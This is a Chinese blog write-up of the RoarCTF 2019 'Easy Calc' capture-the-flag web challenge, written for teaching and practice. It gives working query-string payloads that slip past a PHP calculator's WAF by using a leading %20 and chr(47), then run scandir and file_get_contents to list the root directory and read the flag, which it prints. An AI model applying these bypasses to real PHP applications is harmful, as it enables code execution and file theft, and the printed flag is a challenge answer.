[RoarCTF 2019]Easy Calc 1
[RoarCTF 2019]Easy Calc 1
打开实例发现是个计算器

查看源代码看见设置了WAF的提示,并看见计算器的请求方法,注意到calc.php页面

访问calc.php页面,查看到逻辑处理源代码,根据代码显示,确定这是一道RCE题,blacklist为黑名单过滤数组,总结:绕过数组就可以任意代码执行

传递num=ls,发现出现错误,证明服务端存在waf

使用php自带的函数进行探测(这些函数是百度的)
scandir()函数:返回指定路径数组
var_dump():输出变量的信息
构造payload,num前面加空格的url编码%20,用来绕过正则的/m 表示多行匹配(用来绕过参数只能传数值的问题)
?%20num=1;var_dump(scandir('/'))

发现'/'被过滤了,采用ASCII码, 47
?%20num=1;var_dump(scandir(chr(47)))

成功遍历,并且注意到flagg文件,推测就是flag

直接上file_get_contents()文件读取函数,payload
?%20num=1;var_dump(file_get_contents(chr(47).f1agg))

直接获得flag
flag{58fb9b42-61c4-40a2-a216-0fbd25f29aed}
本文来自博客园,作者:TazmiDev,转载请注明原文链接:https://www.cnblogs.com/tazmi/p/18535669

浙公网安备 33010602011771号